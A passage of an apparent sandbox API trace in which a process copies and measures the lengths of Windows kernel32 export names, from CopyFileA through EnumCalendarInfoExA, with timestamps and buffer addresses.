lpString1="CopyFileA") returned="CopyFileA" [0055.114] lstrlenA (lpString="COPYFILEA") returned 9 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.114] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.114] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.114] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.114] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.114] lstrlenA (lpString="COPYFILEW") returned 9 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.114] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.114] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.114] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.114] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.114] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.114] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.114] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.114] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.114] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.114] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.115] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.115] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.115] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.115] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.115] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.115] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.115] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.115] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.115] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.115] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.115] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.115] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.115] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.115] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.115] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.115] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.115] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.116] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.116] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.116] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.116] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.116] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.116] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.116] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.116] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.116] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.116] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.116] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.116] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.116] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.116] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.116] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.116] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.116] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.116] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.117] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.117] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.117] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.117] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.117] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.117] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.117] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.117] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.117] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.117] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.117] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.117] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.117] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.117] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.117] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.117] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.117] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.118] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.118] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.118] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.118] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.118] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.118] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.118] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.118] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.118] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.118] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.118] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.118] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.118] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.118] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.118] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.118] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.118] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.119] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.119] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.119] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.119] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.119] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.119] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.119] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.119] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.119] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.119] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.119] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.119] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.119] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.119] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.119] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.119] lstrlenA (lpString="DELETEATOM") returned 10 [0055.119] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.119] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.120] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.120] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.120] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.120] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.120] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.120] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.120] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.120] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.120] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.120] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.120] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.120] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.120] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.120] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.120] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.120] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.120] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.121] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.121] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.121] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.121] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.121] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.121] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.121] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.121] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.121] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.121] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.121] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.121] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.121] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.121] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.121] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.121] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExA" | out: 